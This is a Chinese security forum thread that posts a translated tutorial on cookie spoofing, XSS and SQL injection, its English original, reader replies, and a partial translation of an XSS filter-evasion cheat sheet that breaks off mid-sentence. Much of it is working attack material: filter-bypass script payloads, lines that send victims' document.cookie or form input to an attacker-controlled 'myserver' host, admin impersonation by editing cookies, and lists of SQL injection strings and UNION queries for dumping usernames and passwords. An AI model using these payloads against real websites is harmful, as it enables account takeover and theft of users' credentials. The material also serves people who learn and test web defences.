发新话题
打印

[翻译]XSS & SQL注入

[翻译]XSS & SQL注入

文章作者:CyberPhreak
译文作者:黯魂 [S.S.T]
信息来源:脚本安全小组(www.cnsst.org


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


~介绍

在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.

XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
X SQL Injection X
XXXXXXXXXXXXXXXXXXXX

~什么是cookie

cookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.

~警告&欺骗

那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:

strusername=cnsst;strpassword=cnsst

此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...

~什么是XSS

XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

~为什么使用XSS

很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

~让我们开始吧…

我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.

XSS--跨站脚本
复制内容到剪贴板
代码:
<html>
<body>
<form action="" method="GET">
<!-- 我使用的GET方法,因为当我们利用的时候更容易练习. -->
Script: <input name="name" type="name">
<input type="submit" value="submit">
</form>
</body>
</html>

<?php
$name = $_GET[&#39;name&#39;];
echo("Hello $name");
?>
OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:

cnsst
"Hello cnsst!"

引号内的信息就是输出信息..注意看,现在我输入:
<script>alert(document.cookie)</script>

那么它将会弹出document.cookie!所以它是易受XSS攻击的!

现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...

服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...

已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.

让我们看一个稍微复杂点的例子!

假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
scriptalert(document.cookie)/script
或者可能是这样的:
scriptalertdocument.cookie/script

可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.

让我们继续利用:
<<script>>alert(document.cookie)<</script>>

你的输出将弹出document.cookie.

现在来看看更狠的:
<<script>>alert((document.cookie))<<//script>>


他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
scriptalertdocument.cookie/script
或者 <<<script>>>alert(document.cookie)<<</script>>>

他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
<script>alert(document.cookie)</script>

输出像这样:srplert(document.cookie)srp

仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>

所有重复多余的部分刚好被替换!现在让我们来点更高级的!

这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
<script>alert(document.cookie)</script>

输出将是:
scriptalert(document.cookie)script

看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
<<script>>alert(document.cookie)<</script>>

输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:

<
script
>
alert
(
document
.
cookie
)
<
/
script
>


看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
<
s
c
r
i
p
t
>
a
l
e
r
t
(
d
o
c
u
m
e
n
t
.
c
o
o
k
i
e
)
<
/
s
c
r
i
p
t
/
>

这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)

还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.

首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.

我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.

再次假设你在网站上注册了一个帐号,并且可以自定义资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.

有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
引用:
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
Referer: <script>alert(document.cookie)</script>
~什么是SQL注入

SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:
复制内容到剪贴板
代码:
<html>
<body>
<form action="" method="POST">
Username: <input name="name" type="name">
Password: <input name="password" type="password">
<input type="submit" type="submit" value="Submit">
</form>
</body>
</html>
这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!

最简单的攻击是在用户名和密码那里输入"&#39;".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

&#39;=&#39;
&#39;OR 1=1--
&#39;OR a=a--
&#39;OR&#39;

自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

&#39;OR&#39;&#39;=&#39;
&#39;OR"="
&#39;OR&#39;="
&#39;OR &#39;="
&#39;OR "=&#39;
&#39;OR &#39;&#39;=&#39;
&#39;OR &#39;=&#39;&#39;
&#39;OR "=&#39;&#39;
&#39;OR &#39;&#39;="


~
现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users

这个查询语句将执行,但是….如果毫无作用呢?
UNION ALL SELECT username,password FROM users WHERE username=&#39;OR "=&#39;
AND password=&#39;OR "=&#39;

你可能使用其他字符来替代&#39;OR "=&#39;以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.

一旦你发现了漏洞,你就会按照习惯去用类似&#39;OR "=&#39;的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip=&#39;OR&#39;&#39;="

现在你看到这个了吗?(我确信你已经看到了)
http://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"&#39;"替换34:
http://example.com/index.php?article=&#39;


现在,记住我所说的,大多数人都没有意识到&#39;所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
http://example.com/index.php?article=&#39;
http://example.com/index.php?article=&#39;=&#39;
http://example.com/index.php?article=&#39;OR 1=1--
http://example.com/index.php?article=&#39;OR a=a--
http://example.com/index.php?article=&#39;OR &#39;="
http://example.com/index.php?article=&#39;OR "=&#39;
http://example.com/index.php?article=&#39;OR &#39;&#39;=&#39;
http://example.com/index.php?article=&#39;OR &#39;=&#39;&#39;
http://example.com/index.php?article=&#39;OR&#39;&#39;=&#39;
http://example.com/index.php?article=&#39;OR"&#39;=&#39;
http://example.com/index.php?article=&#39;OR"&#39;&#39;=&#39;

尽情发挥自己的创造力!


TOP

翻译得不错,最好贴上文章原著这样可以对比着学习。
XSS目前已经成为继SQL injection之后的又一重要的渗透途径,而且它的多样性以及在比较低的权限下就可以利用等等优点,导致现在利用XSS进行hack的方法屡见不鲜!javascript是利用XSS的基础,DOM技术也是它的顶梁柱!
俺是mika!别叫错了! 俺的QQ:794773 http://hi.baidu.com/stealthwalker/ my private area ------------------------------------------------------------ <a href=http://hi.baidu.com/stealthwalker target=_blank></a>

TOP

多谢stealthwalker大哥的建议,以后的文章我一定都会贴上原文。

其实我感觉XSS的思路比SQL injection还要活,就是看自己怎么利用渗透时碰到的不同环境来结合其他手法了 :)

TOP

From: www.h4cky0u.org

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
by CyberPhreak


~Introduction~

In this article I will be explaining all about XSS and more. In this
article I hope to teach you
what is XSS, why use XSS, how to use XSS. Once you learn that you will
need to get creative since
most people block simple XSS holes, but what they forget to do is
block more then one string of XSS,
and special security in php used to secure XSS, instead they use there
own. Also I will be teaching
not just XSS, but all about web security.

XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX

XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
X SQL Injection X
XXXXXXXXXXXXXXXXXXXX

~What Is a Cookie~

A cookie is a sensetive piece of data. You see once you go to a site
and sign up a cookie is set to remember you. A cookie just holds data
that the site can check that you have and see if youve been there
before, if you have then it checks to see if the user and password are
correct
then logs you in. Picture your at a night club and you buy a ticket
and they give you a band. So you can go in and out (so you dont have
to rebuy
a tickey) Cookies go much farther then that as you can see. Night
Clubs remember you for one night. Cookies can remember you for ever.

~Alerting & Spoofing~

So you know what a cookie is... now how to you see them? Actually
cookie editing is one of the most simpleist method. You see as long as
you have
a browser you can view and edit cookies, just with basic JavaScript
(JS) skills. Load up your browser and go to the site... login... now
type
javascript:alert(document.cookie) Now you should see a user and
password (which is yours) If you don&#39;t thats ok! Most sites now a days
don&#39;t use cookies... but use sessions... Sorry sessions can&#39;t be
edited (they can) but not like cookies, once you edit a cookie you can
spoof
yourself (username and password) Now let&#39;s begin to spoof... Ok say
you alerted the cookie and saw something like this...

strusername=CyberPhreak;strpassword=cookiemonster

Now say you know &#39;bitch&#39; is a admin and you don&#39;t know his password...
due to weak security you don&#39;t need a password
javascript:void(document.cookie="strusername=bitch") Now type
javascript:alert(document.cookie) !!! Heh welcome bitch Wink&#39;
That&#39;s pretty much all to Cookie Editing...

~What Is XSS~

XSS, or CSS, whatever you perfer to call it, XSS (CSS) stands for
Cross Site Scripting. Basically that means you inject script
any kind, to make it do whatever you want... Depends what you inject
will depend on the outcome. With XSS you can also steal input.
Such as user names passwords and cookies. This will all be discussed
so will many examples and this article should help you get creative
with XSS.

~Why Use XSS~

What a question. With XSS you can execute any type of script on the
client and the server. XSS
isn&#39;t just executing script, but also stealing input. input as in
<input name="name" type="name"> You setup XSS
to grab the input and post it on your site in a secret file! This
isn&#39;t all that XSS can do. Xss can also steal cookies.
Cookies hold valuable Information such as user / passwords etc...

~Let&#39;s Begin..~

I assume you know html, and javascript, php knowledge is helpful but
not nessicary. Let&#39;s start by looking at this php script

XSS - Cross Site Scripting

<html>
<body>
<form action="" method="GET">
<!-- Now I used &#39;GET Method because it&#39;s easier to pratctice when
exploiting. -->
Script: <input name="name" type="name">
<input type="submit" value="submit">
</form>
</body>
</html>

<?php
$name = $_GET[&#39;name&#39;];
echo("Hello $name");
?>

Ok, we should all know what this does... This is oddly a rare script,
no one has this on their site (atleast not what ive seen)
but its good for beginners to understand it... now heres whatd I put
in that box...

CyberPhreak

"Hello CyberPhreak!"

is what it would say w/ out quotes ofcourse... If you ever see
anything similar to this your in luck. Watch. Now I type...

<script>alert(document.cookie)</script>

Now it would alert document.cookie (which might be blank)

!!! It&#39;s vulnerable to XSS!!!

Ok now that we know very little about XSS, Let&#39;s understand it...
First The script all it does is takes your input then pastes it
hmmm... that means we can past anything. So? Wait... anything... well
we can inject any client language, but not server languages.
Eh.. whats a client and server language you ask?? Ok... basically a
client language is a language built into your client, I.E. JavaScript,
html, VBScript, etc...
A server language on teh other hand is not built into your client...
It&#39;s built into the server... I.E. php, asp, etc...
There are ways to inject php, which I&#39;ll explain later. Now how can
this be helpful? Injecting JavaScript? Simple. Picture it as this your
coding a site... you have everything on there. So it&#39;s your site you
can use all the JS (javascript) you want...
So can anyone else. Basically XSS or CSS allows you to make the site
run any script you want.

Let&#39;s use a more complex example!
Say that you put in <script>alert(document.cookie)</script>
and it echos this...

scriptalert(document.cookie)/script
or even might echo...
scriptalertdocument.cookie/script

well that makes it more tougher to exploit... or does it? You see
there are ways to counter XSS and this is one way...
but this way is one of the worst ways to counter XSS... you see all it
does is replace <> with " "
Let&#39;s exploit that...

<<script>>alert(document.cookie)<</script>>
your output will alert document.cookie...

Now, to be even trickyer...

<<script>>alert((document.cookie))<<//script>>

they might replace all that, or just <> so if one doesnt work the
other will, now if you see... scriptalertdocument.cookie/script still

<<<script>>>alert(document.cookie)<<</script>>>

they might replace two to trick you... or they might replace certain
words to trick you... try to exploit this on your own...
You type <script>alert(document.cookie)</script> and teh output looks like...

srplert(document.cookie)srp

look what it&#39;s replacing, and notice it didnt replace anything in
document.cookie why? Well, they never know what you&#39;ll alert or what
ever you do.. so they guess and if they stop the <> and script part
they got you
unless you know how to exploit it like this...

<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>

It&#39;s all JUST replacing!!! Now let&#39;s get more advanced! Say theres a
big field to right a letter then they echo the letter and then saying
"Sent" (realistic eh?)

Ok, this time they still use replacing, but more advanced way by
looking in the whole string! example...
<script>alert(document.cookie)</script>
Output will be...
scriptalert(document.cookie)script
Ok, now your saying, Hey! I know what to do... Ok, im sure you do so
let&#39;s do it your way
<<script>>alert(document.cookie)<</script>>

Output: scriptalert(document.cookie)script Ok, now your probably
gonna keep adding more <> well good luck
it&#39;s usless... they replace ANY <> doesnt matter how much you have...
did I say any? excuse me, any <> if they contain code.
Use this example...

<
script
>
alert
(
document
.
cookie
)
<
/
script
>

Well look at that... It just doesnt replace <> it replaces code... so
even if you have code on one line w/ no <> it still replaces it, that
why we use this... let&#39;s say there even more advanced and replace any
type of code even alert !!! wow strict bastards... oh well... time to
sploit

<
s
c
r
i
p
t
>
a
l
e
r
t
(
d
o
c
u
m
e
n
t
.
c
o
o
k
i
e
)
<
/
s
c
r
i
p
t
/
>

Wow, well that should work... but if they still replace < which they
will not, you can always add two << >> (and you can replace
document.cookie with anything...)
Theres tons more I can go into in replacing, but i tought you all you
need to know in replacing now its up to you to use your creativity!

Now let me get a little more into other XSS methods... Ok, now we have
been discussing client side XSS, let&#39;s discuss server side XSS...
First let me explain
the diffrence between them both... Client side as you may / or may not
no is xss viewd from your browser from languages such as JavaScript
(JS) VBScript (VBS) etc...
Server side XSS is XSS through the server from languages such as php,
asp, etc... client side is viewd from the browser, server side is
viewed from the server...
We know how to do Client Side, to do Server Side we must inject script
into the server.... To do this we have to find a script to exploit on
the site (just like any XSS) but
this script will save your XSS into the server... So, say that you
post news on a site... Instead of news we post... XSS Wink Why should we
post JavaScript... Why shouldnt we post php? but first
let me show you a mixture...

document.forms(0).action ="http://myserver/myscript.php
This can be a mixture of Server side or Client side, doesnt matter...
so you script will just copy what ever they put in that form and save
it to a *.txt file on ur site!
Now say you sign up for a site and you make your avantar...
document.images(0).src="http://myserver/cookie.php"+document.cookie
Or if you have a box to put the link to the custom avantar you may put...

javascript:location.href="http://myserver/cookie.php"+document.cookie
This will steal the cookie of the user that views ur profile... or
whever ever your avantar is located... This is foreverything not just
avantars that was just a example

Ok also sometimes a site will echo your UserAgent and Referer... Now
lets try some XSS Wink Launch DOS Or bash w/e you use

telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
Referer: <script>alert(document.cookie)</script>

~What Is SQL Injection~

SQL injection... One of the most security prob in WebSites. Now what
is SQL Injection?? Simple. SQL injections is well, injecting SQL. Now
finding SQL holes in a diffrent level
ok lets say you have a login prompt like this...

<html>
<body>
<form action="" method="POST">
Username: <input name="name" type="name">

Password: <input name="password" type="password">

<input type="submit" type="submit" value="Submit">


</form>
</body>
</html>

Ok, there is a XSS hole here, but were not worried about that, there
is no way you can guess or crack this password. So.. What do we do?
SQL Injection!
For the simplest attack put in &#39; for user and password yes JUST &#39; ...
Now you should get a error if there is absolutley NO protection If you
get a error it&#39;s vulnerable to the most insecure injection!
Now so what you have a error, a error is pointless unless you know how
to exploit it! So im gonna give you a list of Injections you can use
if you recive a error for &#39;

&#39;=&#39;
&#39;OR 1=1--
&#39;OR a=a--
&#39;OR&#39;

Now These injections will hardley ever work since people add security,
but heres a list of injections that most people aren&#39;t secured for!

&#39;OR&#39;&#39;=&#39;
&#39;OR"="
&#39;OR&#39;="
&#39;OR &#39;="
&#39;OR "=&#39;
&#39;OR &#39;&#39;=&#39;
&#39;OR &#39;=&#39;&#39;
&#39;OR "=&#39;&#39;
&#39;OR &#39;&#39;="

~
Now Let me explain the UNION ALL SELECT statement this basically
selects a table then a column in the database...
If selected it shows a list of diffrent things, depends on what column
you selected... I.E.

UNION ALL SELECT username,password FROM users

Now this will work (sometimes) but if it doesnt try...

UNION ALL SELECT username,password FROM users WHERE username=&#39;OR "=&#39;
AND password=&#39;OR "=&#39;

You may replace &#39;OR "=&#39; with any injection their vulnerable to... Now
how will you know well first how do you know the table name? (users)
Well you find a SQL hole (another one) that gives you an error and the
error will include the table name.
Once you find the hole and get the table you do just what I did but
replace &#39;OR "=&#39; with the injection you used to get the table name.
Now sometimes if your trying to SELECT something theres tons of tables
you have to select all the tables, which takes guessing... example
say theres 20 tables called diffrent names, and your just trying to
SELECT a list of ip&#39;s try this...

UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip=&#39;OR&#39;&#39;="

Now have you ever seen this... (im sure you have)

http://example.com/index.php?article=34

Ok, that&#39;d would view article 34... hmm... Lets replace 34 with &#39;

http://example.com/index.php?article=&#39;

Now, remember I said that most people aren&#39;t vulnerable to &#39; thats
just way to insecure, well when I said that I meant for stuff like
logins... Well, most people are vulnerable to this
and if they are not you can always try diffrent injections. Here are
some examples...

http://example.com/index.php?article=&#39;
http://example.com/index.php?article=&#39;=&#39;
http://example.com/index.php?article=&#39;OR 1=1--
http://example.com/index.php?article=&#39;OR a=a--
http://example.com/index.php?article=&#39;OR &#39;="
http://example.com/index.php?article=&#39;OR "=&#39;
http://example.com/index.php?article=&#39;OR &#39;&#39;=&#39;
http://example.com/index.php?article=&#39;OR &#39;=&#39;&#39;
http://example.com/index.php?article=&#39;OR&#39;&#39;=&#39;
http://example.com/index.php?article=&#39;OR"&#39;=&#39;
http://example.com/index.php?article=&#39;OR"&#39;&#39;=&#39;

Just be creative

TOP

不错,这样的文章应该值得一看。但不喜欢看无敌小丫丫教训人,哈哈。
QHK-EST-邪恶八进制 为技术而活着的人 渴望研究技术的美 永远追随技术最高峰!!!

TOP

呵呵,说他教训未免有点言过了,前辈的意见是绝对需要虚心听取的 :)

TOP

"不使用cookies,而使用sessions"就是说COOKIES欺骗已经到尽头了?

TOP

有待证实 :)

TOP

感谢。正在找这方面的东西。
很好.

TOP

客气了,我正是一直在愁翻译哪类文章才最有价值。而这类文章杂志社还不要。。

只要能帮上需要的人,我就认为值了。

TOP

我目前需要一些国外的程序文章。主要是关于程序框架设计与如何让程序执行效率更高的。最好能带源码说明的。麻烦你了。
很好.

TOP

这个我尽量了。。主要是目前翻译的文章的范围还没有涉及到那块,而且最近自己也在搞程序,没有多少时间 :)

TOP

我不能给你什么评价
只能对这篇文章做个评价
不错
现在的CSS的确好用
东邪

TOP

CSS 好用,的却,但我是指在页面设计及布局的时候非常好。
很好.

TOP

是LZ翻译的吗?我好像以前在那里见过

TOP

当然是我翻译的了,最开始翻译完了本来是投稿给《黑客防线》的,可惜由于未知原因被退了回来,我就直接公布了,顺序是脚本安全小组内部版块 -->原创版块-->我的博客:www.anhun.cn-->邪恶八进制社区。

TOP

提示: 作者被禁止或删除 内容自动屏蔽

TOP

<
s
c
r
i
p
t
>
a
l
e
r
t
(
d
o
c
u
m
e
n
t
.
c
o
o
k
i
e
)
<
/
s
c
r
i
p
t
/
>
这样的写法让我感到疑惑,能请LZ解释吗
XSS 希望的方式

TOP


CSS ,说的好极了,翻译的不错,楼主牛人啊;
支持了

TOP

非常有用,能否请教一下,如何跟VC结合起来,先谢谢了!

TOP

为什么那些个引号什么的没正常显示呢?

TOP

对XSS 的补充,Esp: 防止过滤

翻译的不好,所以把原文也附上了,大家见谅啊,第一次翻译这个,呵呵
这个是在欠钱的网盘上面看见的,觉得写的好就翻译了 XSS (Cross Site Scripting) Cheatsheet Esp for filter evasion - by RSnake.rar (11.74 KB)
XSS 翻译.rar (12.78 KB)





                                                                                         XSS cheatsheet
                                                                                    Esp: 防止过滤

                    By RSnake
作者告示:如果您不知道如何XSS (跨站点脚本)工程,此页可能不会帮你。读此网页的人,已经明白基本的XSS攻击,但希望有一个深刻的认识来防止代码被过滤。此页也不会向您展示如何减轻这些风险或如何写实际的代码的攻击。它只会显示出潜在的攻击可能,你可以推断出其余的。


XSS (Cross Site Scripting):

XSS (跨站点脚本) :

XSS代码定位(注意,这个字串,查看源文件并搜索“XSS ” ,如果您看到了“<XSS" verses "<XSS" it may be vulnerable). You'll need to replace the "&" with "%26 ”如果你是提交的XSS字符串通过HTTP GET,它被忽略的后,它将被解释为另一个变量(使用URL编码计算器下面的编码整个字符串) :
'';!--"<XSS>=&{()}



正常的XSS (供参考: JavaScript的图像并不工作在Firefox ) :
<IMG SRC="javascript:alert('XSS');">



不包括引号,并没有分号:
<IMG SRC=javascript:alert('XSS')>


区分大小写的XSS攻击变量:
<IMG SRC=JaVaScRiPt:alert('XSS')>



HTML实体(分号都需要这个工作) :
<IMG SRC=javascript:alert("XSS")>


UTF-8 Unicode编码(所有这些的HTML编码方法的工作,只在Internet Explorer中,Opera 浏览器,和Netscape 8.0对受信任的站点设置) :
<IMG SRC=javascript:alert('XSS')>
长期以来UTF-8 Unicode编码无分号(这常常是有效的XSS通过寻找“ & # XX; ” 实现,因为大多数人不知道填充-多达7个字符) 。这是对有用的人,解码象弦乐一样,如tmp_string = 〜的S / .* \ & # ( \ d +);.*/$ 1 / ;那些错误地假定一个分号须终止的HTML编码字符串
<IMG SRC=javascript:alert('XSS')>


十六进制编码无分号(这也是一个可行攻击上述字串元tmp_string = 〜S / .* \ & # ( \ d +);.*/$ 1 / ;假定有一个数字字符之后,是一个不正确的十六进制的HTML字符) :

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>




IE和Opera,嵌入式标签打破了XSS。一些网站声称,任何有关字符在09-13(十进制)会对攻击起作用。这是不正确。只有09 (横向标签) , 10 (换行符)和13 (回车)起作用。看到的ASCII图,了解更多详情。以下四个的XSS例子说明这:

<IMG SRC="jav ascript:alert('XSS');">




嵌入式换行符打破的XSS :
<IMG SRC="jav ascript:alert('XSS');">




嵌入式回车打破的XSS (注:上述我提出这些字符串的时间比他们要早,因为零点可以省略。我见过的常常过滤十六进制和DEC的2个或3个字符。真正的应该过滤是1-7个字符。 ) :

<IMG SRC="jav ascript:alert('XSS');">



多线程注入js使用的是ASCII返回(这个XSS和上面的一样是一个NB的例子 ) ,如上文所述,这些都不是三分之一空间的字符:


<IMG
SRC
=
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
                                 



ok,我说谎,空字,也在IE,网景8.0在受信任的站点的模式和旧版本的 Opera上起作用,而不是像上述情况,您需要在网址中使用 Burp Proxy 或者使用 %00注入, 如果您想要写自己的注入工具,您可以使用Vim中( ^ v ^ @将产生一个NULL )或用以下程序来把它变成一个文本文件。ok,我再次撒谎,较旧版本的 Opera(大约Windows的7.11版本 )容易受到一额外的字符173 (hypen控制字符) 。但字符%00 是为了更好的帮助我们绕过现存的过滤与变化,例如:

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out


这里是一个鲜为人知的XSS攻击时使用NULL字符。你其实可以打破HTML本身使用相同的空值如上所示。我所见过的,绕过限制最严的XSS过滤数据(再次,只有在IE ,网景8.0在受信任的站点的模式下和旧版本的 Opera中其作用) :
perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' > out



JavaScript在图片前面的XSS (这是非常有用的,如果模式匹配,并不顾及“ JavaScript: ”这是正确的,在那之间你没有位置“ JavaScript: ”关键字) :
<IMG SRC="   javascript:alert('XSS');">



XSS没有单引号或双引号或分号:
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>



BODY image:
<BODY BACKGROUND="javascript:alert('XSS')">




BODY tag(我喜欢这种方法,因为它不需要使用任何的“ JavaScript: ”或“ <SCRIPT... ”来完成XSS攻击) :
<BODY ONLOAD=alert('XSS')>



事件处理程序可以使用类似的XSS攻击一个以上的网址(在写这个的时候,网上这是最全面) :

IMG Dynsrc (在 IE模式下):
<IMG DYNSRC="javascript:alert('XSS')">

IMG lowsrc (在 IE模式下):
<IMG LOWSRC="javascript:alert('XSS')">

BGSOUND (在 IE模式下):
<BGSOUND SRC="javascript:alert('XSS');">

& JS includes (在Netscape 4.x模式下):
<BR SIZE="&{alert('XSS')}">

Layer (在Netscape 4.x模式下)
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>


Style sheet(样式表):
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

VBscript in an image:
<IMG SRC='vbscript:msgbox("XSS")'>

Mocha (只在Netscape的旧版本):
<IMG SRC="mocha:[code]">

Livescript (只在Netscape的旧版本):
<IMG SRC="livescript:[code]">

Meta(即使用Firefox , Netscape或Opera,Meta也没有